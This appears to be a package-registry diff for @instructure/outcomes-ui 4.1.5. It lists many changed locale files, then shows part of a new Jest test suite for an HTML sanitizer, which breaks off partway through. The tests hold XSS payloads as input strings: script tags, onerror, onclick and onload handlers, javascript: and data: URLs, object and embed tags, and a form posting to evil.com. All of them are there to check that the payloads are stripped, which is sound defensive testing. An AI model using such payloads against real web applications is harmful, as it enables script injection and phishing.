@instructure/outcomes-ui 4.1.4 → 4.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/es/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/lib/__tests__/sanitize.test.js +133 -11
- package/es/lib/sanitize.js +22 -26
- package/es/translated/ar/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/ar/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/ar/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/ar/lib/sanitize.js +22 -26
- package/es/translated/ca/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/ca/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/ca/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/ca/lib/sanitize.js +22 -26
- package/es/translated/cy/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/cy/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/cy/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/cy/lib/sanitize.js +22 -26
- package/es/translated/da/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/da/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/da/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/da/lib/sanitize.js +22 -26
- package/es/translated/da-x-k12/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/da-x-k12/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/da-x-k12/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/da-x-k12/lib/sanitize.js +22 -26
- package/es/translated/de/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/de/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/de/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/de/lib/sanitize.js +22 -26
- package/es/translated/en/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en/lib/sanitize.js +22 -26
- package/es/translated/en-AU/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-AU/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-AU/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-AU/lib/sanitize.js +22 -26
- package/es/translated/en-AU-x-unimelb/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-AU-x-unimelb/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-AU-x-unimelb/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-AU-x-unimelb/lib/sanitize.js +22 -26
- package/es/translated/en-CA/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-CA/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-CA/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-CA/lib/sanitize.js +22 -26
- package/es/translated/en-CY/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-CY/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-CY/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-CY/lib/sanitize.js +22 -26
- package/es/translated/en-GB/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-GB/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-GB/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-GB/lib/sanitize.js +22 -26
- package/es/translated/en-GB-x-ukhe/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-GB-x-ukhe/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-GB-x-ukhe/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-GB-x-ukhe/lib/sanitize.js +22 -26
- package/es/translated/en-IE/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/en-IE/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/en-IE/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/en-IE/lib/sanitize.js +22 -26
- package/es/translated/es/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/es/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/es/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/es/lib/sanitize.js +22 -26
- package/es/translated/es-ES/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/es-ES/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/es-ES/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/es-ES/lib/sanitize.js +22 -26
- package/es/translated/es_ES/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/es_ES/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/es_ES/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/es_ES/lib/sanitize.js +22 -26
- package/es/translated/fi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/fi/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/fi/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/fi/lib/sanitize.js +22 -26
- package/es/translated/fr/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/fr/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/fr/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/fr/lib/sanitize.js +22 -26
- package/es/translated/fr-CA/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/fr-CA/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/fr-CA/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/fr-CA/lib/sanitize.js +22 -26
- package/es/translated/ht/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/ht/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/ht/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/ht/lib/sanitize.js +22 -26
- package/es/translated/is/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/is/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/is/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/is/lib/sanitize.js +22 -26
- package/es/translated/it/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/it/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/it/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/it/lib/sanitize.js +22 -26
- package/es/translated/ja/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/ja/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/ja/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/ja/lib/sanitize.js +22 -26
- package/es/translated/mi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/mi/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/mi/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/mi/lib/sanitize.js +22 -26
- package/es/translated/nb/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/nb/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/nb/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/nb/lib/sanitize.js +22 -26
- package/es/translated/nb-x-k12/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/nb-x-k12/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/nb-x-k12/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/nb-x-k12/lib/sanitize.js +22 -26
- package/es/translated/nl/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/nl/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/nl/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/nl/lib/sanitize.js +22 -26
- package/es/translated/pl/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/pl/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/pl/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/pl/lib/sanitize.js +22 -26
- package/es/translated/pt/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/pt/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/pt/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/pt/lib/sanitize.js +22 -26
- package/es/translated/pt-BR/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/pt-BR/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/pt-BR/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/pt-BR/lib/sanitize.js +22 -26
- package/es/translated/ru/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/ru/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/ru/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/ru/lib/sanitize.js +22 -26
- package/es/translated/sl/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/sl/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/sl/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/sl/lib/sanitize.js +22 -26
- package/es/translated/sv/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/sv/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/sv/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/sv/lib/sanitize.js +22 -26
- package/es/translated/sv-x-k12/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/sv-x-k12/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/sv-x-k12/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/sv-x-k12/lib/sanitize.js +22 -26
- package/es/translated/th/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/th/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/th/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/th/lib/sanitize.js +22 -26
- package/es/translated/vi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/vi/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/vi/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/vi/lib/sanitize.js +22 -26
- package/es/translated/zh-Hans/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/zh-Hans/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/zh-Hans/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/zh-Hans/lib/sanitize.js +22 -26
- package/es/translated/zh-Hant/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/es/translated/zh-Hant/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/es/translated/zh-Hant/lib/__tests__/sanitize.test.js +133 -11
- package/es/translated/zh-Hant/lib/sanitize.js +22 -26
- package/lib/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/components/Gradebook/popovers/StudentPopover/index.d.ts.map +1 -1
- package/lib/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/lib/__tests__/sanitize.test.js +132 -10
- package/lib/lib/sanitize.js +22 -26
- package/lib/translated/ar/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/ar/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/ar/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/ar/lib/sanitize.js +22 -26
- package/lib/translated/ca/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/ca/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/ca/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/ca/lib/sanitize.js +22 -26
- package/lib/translated/cy/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/cy/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/cy/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/cy/lib/sanitize.js +22 -26
- package/lib/translated/da/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/da/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/da/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/da/lib/sanitize.js +22 -26
- package/lib/translated/da-x-k12/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/da-x-k12/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/da-x-k12/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/da-x-k12/lib/sanitize.js +22 -26
- package/lib/translated/de/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/de/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/de/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/de/lib/sanitize.js +22 -26
- package/lib/translated/en/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en/lib/sanitize.js +22 -26
- package/lib/translated/en-AU/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-AU/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-AU/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-AU/lib/sanitize.js +22 -26
- package/lib/translated/en-AU-x-unimelb/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-AU-x-unimelb/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-AU-x-unimelb/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-AU-x-unimelb/lib/sanitize.js +22 -26
- package/lib/translated/en-CA/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-CA/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-CA/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-CA/lib/sanitize.js +22 -26
- package/lib/translated/en-CY/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-CY/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-CY/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-CY/lib/sanitize.js +22 -26
- package/lib/translated/en-GB/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-GB/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-GB/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-GB/lib/sanitize.js +22 -26
- package/lib/translated/en-GB-x-ukhe/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-GB-x-ukhe/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-GB-x-ukhe/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-GB-x-ukhe/lib/sanitize.js +22 -26
- package/lib/translated/en-IE/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/en-IE/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/en-IE/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/en-IE/lib/sanitize.js +22 -26
- package/lib/translated/es/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/es/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/es/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/es/lib/sanitize.js +22 -26
- package/lib/translated/es-ES/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/es-ES/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/es-ES/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/es-ES/lib/sanitize.js +22 -26
- package/lib/translated/es_ES/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/es_ES/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/es_ES/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/es_ES/lib/sanitize.js +22 -26
- package/lib/translated/fi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/fi/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/fi/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/fi/lib/sanitize.js +22 -26
- package/lib/translated/fr/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/fr/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/fr/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/fr/lib/sanitize.js +22 -26
- package/lib/translated/fr-CA/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/fr-CA/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/fr-CA/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/fr-CA/lib/sanitize.js +22 -26
- package/lib/translated/ht/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/ht/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/ht/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/ht/lib/sanitize.js +22 -26
- package/lib/translated/is/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/is/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/is/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/is/lib/sanitize.js +22 -26
- package/lib/translated/it/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/it/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/it/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/it/lib/sanitize.js +22 -26
- package/lib/translated/ja/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/ja/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/ja/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/ja/lib/sanitize.js +22 -26
- package/lib/translated/mi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/mi/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/mi/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/mi/lib/sanitize.js +22 -26
- package/lib/translated/nb/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/nb/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/nb/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/nb/lib/sanitize.js +22 -26
- package/lib/translated/nb-x-k12/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/nb-x-k12/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/nb-x-k12/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/nb-x-k12/lib/sanitize.js +22 -26
- package/lib/translated/nl/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/nl/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/nl/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/nl/lib/sanitize.js +22 -26
- package/lib/translated/pl/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/pl/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/pl/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/pl/lib/sanitize.js +22 -26
- package/lib/translated/pt/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/pt/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/pt/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/pt/lib/sanitize.js +22 -26
- package/lib/translated/pt-BR/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/pt-BR/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/pt-BR/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/pt-BR/lib/sanitize.js +22 -26
- package/lib/translated/ru/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/ru/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/ru/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/ru/lib/sanitize.js +22 -26
- package/lib/translated/sl/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/sl/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/sl/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/sl/lib/sanitize.js +22 -26
- package/lib/translated/sv/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/sv/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/sv/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/sv/lib/sanitize.js +22 -26
- package/lib/translated/sv-x-k12/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/sv-x-k12/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/sv-x-k12/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/sv-x-k12/lib/sanitize.js +22 -26
- package/lib/translated/th/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/th/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/th/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/th/lib/sanitize.js +22 -26
- package/lib/translated/vi/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/vi/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/vi/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/vi/lib/sanitize.js +22 -26
- package/lib/translated/zh-Hans/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/zh-Hans/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/zh-Hans/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/zh-Hans/lib/sanitize.js +22 -26
- package/lib/translated/zh-Hant/components/Gradebook/popovers/StudentPopover/__tests__/index.test.js +99 -23
- package/lib/translated/zh-Hant/components/Gradebook/popovers/StudentPopover/index.js +4 -1
- package/lib/translated/zh-Hant/lib/__tests__/sanitize.test.js +132 -10
- package/lib/translated/zh-Hant/lib/sanitize.js +22 -26
- package/package.json +3 -3
|
@@ -2,17 +2,139 @@
|
|
|
2
2
|
|
|
3
3
|
var _globals = require("@jest/globals");
|
|
4
4
|
var _sanitize = require("../sanitize.js");
|
|
5
|
-
(0, _globals.describe)('
|
|
6
|
-
(0, _globals.
|
|
7
|
-
|
|
8
|
-
|
|
5
|
+
(0, _globals.describe)('sanitizeHtml', function () {
|
|
6
|
+
(0, _globals.describe)('equation images (Canvas-specific)', function () {
|
|
7
|
+
(0, _globals.it)('rewrites /equation_images src to absolute canvas URL', function () {
|
|
8
|
+
var equationImage = 'Some text with an <img src="/equation_images/image" />';
|
|
9
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(equationImage)).toContain('canvas.instructure.com/equation_images/image');
|
|
10
|
+
});
|
|
11
|
+
(0, _globals.it)('adds vertical-align style to equation images', function () {
|
|
12
|
+
var equationImage = '<img src="/equation_images/abc" />';
|
|
13
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(equationImage)).toContain('vertical-align: middle');
|
|
14
|
+
});
|
|
15
|
+
(0, _globals.it)('leaves non-equation image src untouched', function () {
|
|
16
|
+
var otherImage = '<img src="/another_image">';
|
|
17
|
+
var out = (0, _sanitize.sanitizeHtml)(otherImage);
|
|
18
|
+
(0, _globals.expect)(out).toContain('src="/another_image"');
|
|
19
|
+
(0, _globals.expect)(out).not.toContain('canvas.instructure.com');
|
|
20
|
+
});
|
|
9
21
|
});
|
|
10
|
-
(0, _globals.
|
|
11
|
-
|
|
12
|
-
|
|
22
|
+
(0, _globals.describe)('null / empty input handling', function () {
|
|
23
|
+
(0, _globals.it)('returns empty string for null', function () {
|
|
24
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(null)).toBe('');
|
|
25
|
+
});
|
|
26
|
+
(0, _globals.it)('returns empty string for undefined', function () {
|
|
27
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(void 0)).toBe('');
|
|
28
|
+
});
|
|
29
|
+
(0, _globals.it)('returns empty string for empty string', function () {
|
|
30
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)('')).toBe('');
|
|
31
|
+
});
|
|
13
32
|
});
|
|
14
|
-
(0, _globals.
|
|
15
|
-
|
|
16
|
-
|
|
33
|
+
(0, _globals.describe)('XSS - script execution vectors', function () {
|
|
34
|
+
(0, _globals.it)('strips <script> tags', function () {
|
|
35
|
+
var xss = 'Hello<script>alert(1)</script>World';
|
|
36
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
37
|
+
(0, _globals.expect)(out).not.toContain('<script');
|
|
38
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
39
|
+
});
|
|
40
|
+
(0, _globals.it)('strips inline event handlers (onerror)', function () {
|
|
41
|
+
var xss = '<img src="x" onerror="alert(1)">';
|
|
42
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
43
|
+
(0, _globals.expect)(out).not.toMatch(/onerror/i);
|
|
44
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
45
|
+
});
|
|
46
|
+
(0, _globals.it)('strips inline event handlers (onclick)', function () {
|
|
47
|
+
var xss = '<a href="#" onclick="alert(1)">click</a>';
|
|
48
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
49
|
+
(0, _globals.expect)(out).not.toMatch(/onclick/i);
|
|
50
|
+
});
|
|
51
|
+
(0, _globals.it)('strips inline event handlers (onload on svg)', function () {
|
|
52
|
+
var xss = '<svg onload="alert(1)"></svg>';
|
|
53
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
54
|
+
(0, _globals.expect)(out).not.toMatch(/onload/i);
|
|
55
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
56
|
+
});
|
|
57
|
+
(0, _globals.it)('strips javascript: URLs in href', function () {
|
|
58
|
+
// eslint-disable-next-line no-script-url
|
|
59
|
+
var xss = '<a href="javascript:alert(1)">x</a>';
|
|
60
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
61
|
+
(0, _globals.expect)(out).not.toMatch(/javascript:/i);
|
|
62
|
+
});
|
|
63
|
+
(0, _globals.it)('strips javascript: URLs in img src', function () {
|
|
64
|
+
// eslint-disable-next-line no-script-url
|
|
65
|
+
var xss = '<img src="javascript:alert(1)">';
|
|
66
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
67
|
+
(0, _globals.expect)(out).not.toMatch(/javascript:/i);
|
|
68
|
+
});
|
|
69
|
+
(0, _globals.it)('strips data: URLs that contain HTML/JS in iframe src', function () {
|
|
70
|
+
var xss = '<iframe src="data:text/html,<script>alert(1)</script>"></iframe>';
|
|
71
|
+
var out = (0, _sanitize.sanitizeHtml)(xss);
|
|
72
|
+
(0, _globals.expect)(out).not.toContain('alert(1)');
|
|
73
|
+
});
|
|
74
|
+
(0, _globals.it)('strips <object> tags', function () {
|
|
75
|
+
var xss = '<object data="evil.swf"></object>';
|
|
76
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<object');
|
|
77
|
+
});
|
|
78
|
+
(0, _globals.it)('strips <embed> tags', function () {
|
|
79
|
+
var xss = '<embed src="evil.swf">';
|
|
80
|
+
(0, _globals.expect)((0, _sanitize.sanitizeHtml)(xss)).not.toContain('<embed');
|
|
81
|
+
});
|
|
82
|
+
(0, _globals.it)('strips <form> tags (CSRF / phishing surface)', function () {
|
|
83
|
+
var xss = '<form action="https://evil.com"><input name=x></form>';
|
|
84
|
+
